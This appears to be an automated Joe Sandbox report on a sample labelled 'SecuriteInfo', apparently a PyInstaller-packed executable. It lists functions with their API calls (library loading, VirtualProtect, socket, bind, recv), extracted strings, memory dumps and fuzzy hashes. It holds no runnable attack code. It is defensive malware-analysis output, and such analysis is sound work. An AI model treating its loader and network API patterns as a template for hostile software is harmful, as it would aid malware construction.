Function 00007FF8E6C89060 Relevance: 9.6, APIs: 4, Strings: 1, Instructions: 850librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8E6C89B20
GetProcAddress.KERNEL32 ref: 00007FF8E6C89B4A
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FF8E6C89BD4
VirtualProtect.KERNEL32 ref: 00007FF8E6C89BF2

Strings

)tP, xrefs: 00007FF8E6C8908B

Memory Dump Source

Source File: 00000002.00000002.1474223714.00007FF8E6C89000.00000080.00000001.01000000.0000000F.sdmp, Offset: 00007FF8E6780000, based on PE: true

Associated: 00000002.00000002.1469350124.00007FF8E6780000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E6781000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E6792000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E67A2000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E67A8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E67F2000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E6807000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E6817000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E681E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E682C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E6A0E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E6AF9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E6AFB000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E6B32000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E6B6F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E6BCA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E6C3B000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E6C70000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1469630464.00007FF8E6C83000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.1474254395.00007FF8E6C8A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e6780000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID: )tP
API String ID: 3300690313-3907340667
Opcode ID: eab163715ab1799b633ac6e81f81b77985ed928b0291ff377fca493afee617fe
Instruction ID: 1d0b111dc5e7b371c3a51797a1b707c7610ec9137acd374e087f5b1a5248d248
Opcode Fuzzy Hash: eab163715ab1799b633ac6e81f81b77985ed928b0291ff377fca493afee617fe
Instruction Fuzzy Hash: E262F36262859286E7298E7CE4003BD77A0F7487C5F045532EA9EC77C4EA7CFA45CB02

Function 00007FF8E75333C0 Relevance: 6.9, APIs: 4, Instructions: 900librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8E7533EE9
GetProcAddress.KERNEL32 ref: 00007FF8E7533F13
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FF8E7533F9D
VirtualProtect.KERNEL32 ref: 00007FF8E7533FBB

Memory Dump Source

Source File: 00000002.00000002.1488276484.00007FF8E7533000.00000080.00000001.01000000.00000004.sdmp, Offset: 00007FF8E6EE0000, based on PE: true

Associated: 00000002.00000002.1474290394.00007FF8E6EE0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1474323542.00007FF8E6EE1000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1474323542.00007FF8E71B6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1474323542.00007FF8E71C5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1474323542.00007FF8E71CF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1474323542.00007FF8E7211000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1474323542.00007FF8E72E0000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1474323542.00007FF8E72E8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1474323542.00007FF8E73EB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1474323542.00007FF8E73EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1474323542.00007FF8E7436000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1474323542.00007FF8E743E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1474323542.00007FF8E747F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1474323542.00007FF8E74B3000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1474323542.00007FF8E74DD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1474323542.00007FF8E74F2000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1474323542.00007FF8E752C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1488411064.00007FF8E7535000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e6ee0000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: 248494c49456e9061dd29398c4c192e6d920701940ac97edae2a832ef171e598
Instruction ID: afe4e88a0c68e409f920016b234c66c1caa4b616ddfeba167d62b49d52dd9b0a
Opcode Fuzzy Hash: 248494c49456e9061dd29398c4c192e6d920701940ac97edae2a832ef171e598
Instruction Fuzzy Hash: 6B62496262819297E7158F78D80037D77A0F748BC5F445635EAAEC37E8EA3CEA45C701

Function 00007FF8E81471D0 Relevance: 6.9, APIs: 4, Instructions: 889librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8E8147CE5
GetProcAddress.KERNEL32 ref: 00007FF8E8147D0F
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FF8E8147D8F
VirtualProtect.KERNEL32 ref: 00007FF8E8147DAD

Memory Dump Source

Source File: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: 05417be8f1839d801782f9c781979d9678e7c982b20de61a62ff485c284467e9
Instruction ID: 859cf0204132fb28497458200b37ed980035cb7eb1d6f78409288bd25d94eafe
Opcode Fuzzy Hash: 05417be8f1839d801782f9c781979d9678e7c982b20de61a62ff485c284467e9
Instruction Fuzzy Hash: 7E62027262829A86E7198A78D4003BD77A0F7487C5F145932EA9EC37C4EB7CEA45CB05

Function 00007FF8E7A10350 Relevance: 6.9, APIs: 4, Instructions: 885librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8E7A10E65
GetProcAddress.KERNEL32 ref: 00007FF8E7A10E83
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FF8E7A10F03
VirtualProtect.KERNEL32 ref: 00007FF8E7A10F21

Memory Dump Source

Source File: 00000002.00000002.1489614277.00007FF8E7A10000.00000080.00000001.01000000.00000013.sdmp, Offset: 00007FF8E7960000, based on PE: true

Associated: 00000002.00000002.1488485527.00007FF8E7960000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E7961000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E79AA000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E79B8000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E7A07000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E7A0C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E7A0F000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1489734191.00007FF8E7A12000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7960000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: 6f314cbc243d0361b81c21546ac629a958ec6804df8a06217d551e75d8bff2aa
Instruction ID: 6371b7943ab6f91588fccbba32fb11e26f9483dfa1a07767d8623d4a43d25965
Opcode Fuzzy Hash: 6f314cbc243d0361b81c21546ac629a958ec6804df8a06217d551e75d8bff2aa
Instruction Fuzzy Hash: 846238A27281968AF7158E78E5013BE7790F7487C5F045532EAAEC37C4EA7CEA45CB01

Function 00007FF8E80E1F40 Relevance: 6.9, APIs: 4, Instructions: 885librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8E80E2A55
GetProcAddress.KERNEL32 ref: 00007FF8E80E2A73
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FF8E80E2AF3
VirtualProtect.KERNEL32 ref: 00007FF8E80E2B11

Memory Dump Source

Source File: 00000002.00000002.1494657271.00007FF8E80E1000.00000080.00000001.01000000.00000011.sdmp, Offset: 00007FF8E80D0000, based on PE: true

Associated: 00000002.00000002.1493237876.00007FF8E80D0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1493380127.00007FF8E80D1000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1493380127.00007FF8E80DD000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1493380127.00007FF8E80E0000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1494938031.00007FF8E80E3000.00000004.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e80d0000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: 78706b716399f285c8c84bf0c82d6c966be19b62f32ef2710452d50c9fcab11e
Instruction ID: 864c04d11b8ed08595801902da3eeea541c4cecf9baa93cd6e4a1b44d2f106c9
Opcode Fuzzy Hash: 78706b716399f285c8c84bf0c82d6c966be19b62f32ef2710452d50c9fcab11e
Instruction Fuzzy Hash: C56204626281968BEF298A78D40037E6790F7587C5F085532FAAEC37C4EB7CEA45C705

Function 00007FF8E81353DC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47networkCOMMON

Download Yara Rule

APIs

bind.WS2_32 ref: 00007FF8E813545D

Strings

bind, xrefs: 00007FF8E81353FB
socket.bind, xrefs: 00007FF8E813542D

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: bind
String ID: bind$socket.bind
API String ID: 1187836755-187351271
Opcode ID: 4ce2c3a6d91a333172a2df15937caee8bf14d916a7314e4ad852e3007f95126b
Instruction ID: e6363be6ea6afdfa36a136f80d102604c48e89a5de1903f4f3e1ef628452bec3
Opcode Fuzzy Hash: 4ce2c3a6d91a333172a2df15937caee8bf14d916a7314e4ad852e3007f95126b
Instruction Fuzzy Hash: AA113A61A18B8282E6209BA2F8443EE7364FF49BC5F060132DE8D47B59EF3CE445C709

Function 00007FF7EAD09280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF7EAD092B3
FindClose.KERNEL32 ref: 00007FF7EAD092C2

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: 8ce2ad7dbfd5054e07d43efbcfa513b8df1537611b836527035957cd2eb09776
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: 9DF0C232A1C74286F7A0DB60B4D8766B390FB84728F840336DA6D02AD8DF3CE058CA11

Function 00007FF8E813660C Relevance: 1.5, APIs: 1, Instructions: 19networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF8E813663B

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: cc5000ffc5fa2b87bdd8153e65a94afe1c8ba3f92a28fb82bdbbf04857ba9e65
Instruction ID: 25758588b687cbfffc562908e67abe12b4e5ecd2d8aeff69cf3a38c2df916349
Opcode Fuzzy Hash: cc5000ffc5fa2b87bdd8153e65a94afe1c8ba3f92a28fb82bdbbf04857ba9e65
Instruction Fuzzy Hash: 42E01AF2A10A4582D7145B56E0402687360F719FE4F245721CA781B3D0DE28D5E5C740

Function 00007FF7EAD01950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7EAD07F90: _fread_nolock.LIBCMT ref: 00007FF7EAD0803A

_fread_nolock.LIBCMT ref: 00007FF7EAD01A1B

Part of subcall function 00007FF7EAD02910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7EAD01B6A), ref: 00007FF7EAD0295E

Strings

Could not read full TOC!, xrefs: 00007FF7EAD01B55
Failed to seek to cookie position!, xrefs: 00007FF7EAD019EE
Failed to read cookie!, xrefs: 00007FF7EAD01A2B
Could not allocate buffer for TOC!, xrefs: 00007FF7EAD01B1B
calloc, xrefs: 00007FF7EAD01A68
fread, xrefs: 00007FF7EAD01A32, 00007FF7EAD01B5C
fseek, xrefs: 00007FF7EAD019F5
malloc, xrefs: 00007FF7EAD01B22
MEI, xrefs: 00007FF7EAD01991
Error on file., xrefs: 00007FF7EAD01B8D
Could not allocate memory for archive structure!, xrefs: 00007FF7EAD01A61

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 3ff95809ca1090418fbd1d21d944a3955d2264a87fb5bf50133219bb90c93b1a
Instruction ID: 3adfd0fecca65c1dac41dd60b8d855fbfba640b4b7d0e82ba3b7333a87dcf31f
Opcode Fuzzy Hash: 3ff95809ca1090418fbd1d21d944a3955d2264a87fb5bf50133219bb90c93b1a
Instruction Fuzzy Hash: 1C817271A0868686FB20FB24D0853B9E3A2EF48748F844477E98D4778DDE7CE585C762

Function 00007FF8E8135E54 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 234
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASocketW.WS2_32 ref: 00007FF8E8136060
SetHandleInformation.KERNEL32 ref: 00007FF8E813608A
closesocket.WS2_32 ref: 00007FF8E813609F
getsockname.WS2_32 ref: 00007FF8E813612A
WSAGetLastError.WS2_32 ref: 00007FF8E8136149
getsockopt.WS2_32 ref: 00007FF8E8136186
WSASocketW.WS2_32 ref: 00007FF8E81361E8

Strings

Oiii, xrefs: 00007FF8E8135EB7, 00007FF8E8136001
socket.__new__, xrefs: 00007FF8E8135EC9, 00007FF8E8135FC1
socket descriptor string has wrong size, should be %zu bytes., xrefs: 00007FF8E8135F18
negative file descriptor, xrefs: 00007FF8E81360EE

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: Socket$ErrorHandleInformationLastclosesocketgetsocknamegetsockopt
String ID: Oiii$negative file descriptor$socket descriptor string has wrong size, should be %zu bytes.$socket.__new__
API String ID: 141981615-2881308447
Opcode ID: 4f2beb27c7ea7289d8515a14bf3cfdd75d59c501fe0f98bb6e87318c8562a854
Instruction ID: 9dd8410dde2ae0ea03569deed8a9735ad7c037c870b08055c7a2596afa9bfe40
Opcode Fuzzy Hash: 4f2beb27c7ea7289d8515a14bf3cfdd75d59c501fe0f98bb6e87318c8562a854
Instruction Fuzzy Hash: 9FB17062E08A8182E6218BA9E8043BC77A0FB99BE4F065335DE5D537A1DF3CE5C5C705

Function 00007FF8E813746C Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 260
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32 ref: 00007FF8E8137656
FreeAddrInfoW.WS2_32 ref: 00007FF8E8137785
FreeAddrInfoW.WS2_32 ref: 00007FF8E813780F

Strings

Int or String expected, xrefs: 00007FF8E81377C4
socket.getaddrinfo, xrefs: 00007FF8E81375F7
iiisO, xrefs: 00007FF8E81376E4
OO|iiii:getaddrinfo, xrefs: 00007FF8E81374BC
OOiii, xrefs: 00007FF8E81375E6
idna, xrefs: 00007FF8E813753B
getaddrinfo() argument 1 must be string or None, xrefs: 00007FF8E813781E

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: AddrFreeInfo$getaddrinfo
String ID: Int or String expected$OOiii$OO|iiii:getaddrinfo$getaddrinfo() argument 1 must be string or None$idna$iiisO$socket.getaddrinfo
API String ID: 2288433384-1074899869
Opcode ID: 31578e94d28b646b1d124d071274d69e5ee20e598ce9ff2e34f2b354b6e2d7d2
Instruction ID: 19f137747b07cd749ab0e40c983e2da55c44e02497df50811e43314c9abdc4fe
Opcode Fuzzy Hash: 31578e94d28b646b1d124d071274d69e5ee20e598ce9ff2e34f2b354b6e2d7d2
Instruction Fuzzy Hash: 8BC12436A0AB4286EB148FA1E4487BC73A0BB49BC4F024935DE4E93B54DF3CE544C34A

Function 00007FF7EAD01470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7EAD014DE
fread, xrefs: 00007FF7EAD015E6
fseek, xrefs: 00007FF7EAD014E5
malloc, xrefs: 00007FF7EAD0151F
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7EAD01518
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7EAD0149F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7EAD015DF

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 55660f7852eeee30d2d639831c2873b2ebe9c995d45b3204146c46c5ee4e8cf5
Instruction ID: 5b5ed3e474994c15a654b0ec843c4b7f621b2fcb613c033fff18a9adf1a11a26
Opcode Fuzzy Hash: 55660f7852eeee30d2d639831c2873b2ebe9c995d45b3204146c46c5ee4e8cf5
Instruction Fuzzy Hash: 9D417C61A0864286FB10FB21A4817B9E3A1EF44788FC445B3EE4D4BB9DDE7CE541C762

Function 00007FF7EAD01210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF7EAD012BA
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF7EAD0141E
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF7EAD012EF
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF7EAD01276
malloc, xrefs: 00007FF7EAD012C1, 00007FF7EAD012F6
1.3.1, xrefs: 00007FF7EAD01249

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 750117d0cef1200f284b8f46e1dc9bb692c8931361e04233996456fa0167cff0
Instruction ID: 62705e2bbc6e83401a42566eb4fc28e506f6df863e2286ddd92be26972ff1290
Opcode Fuzzy Hash: 750117d0cef1200f284b8f46e1dc9bb692c8931361e04233996456fa0167cff0
Instruction Fuzzy Hash: AB51D362A0864285F620FB21A4903BAA392FF84798FC44176EE4D477DDEE3CE541C722

Function 00007FF8E81354AC Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 114
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAGetLastError.WS2_32 ref: 00007FF8E8135553
WSAGetLastError.WS2_32 ref: 00007FF8E813555B
WSAGetLastError.WS2_32 ref: 00007FF8E81355C0
WSAGetLastError.WS2_32 ref: 00007FF8E81355C8

Part of subcall function 00007FF8E81348B0: select.WS2_32 ref: 00007FF8E8134978

WSAGetLastError.WS2_32 ref: 00007FF8E81355E8
WSAGetLastError.WS2_32 ref: 00007FF8E81355FD

Strings

timed out, xrefs: 00007FF8E813562F

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
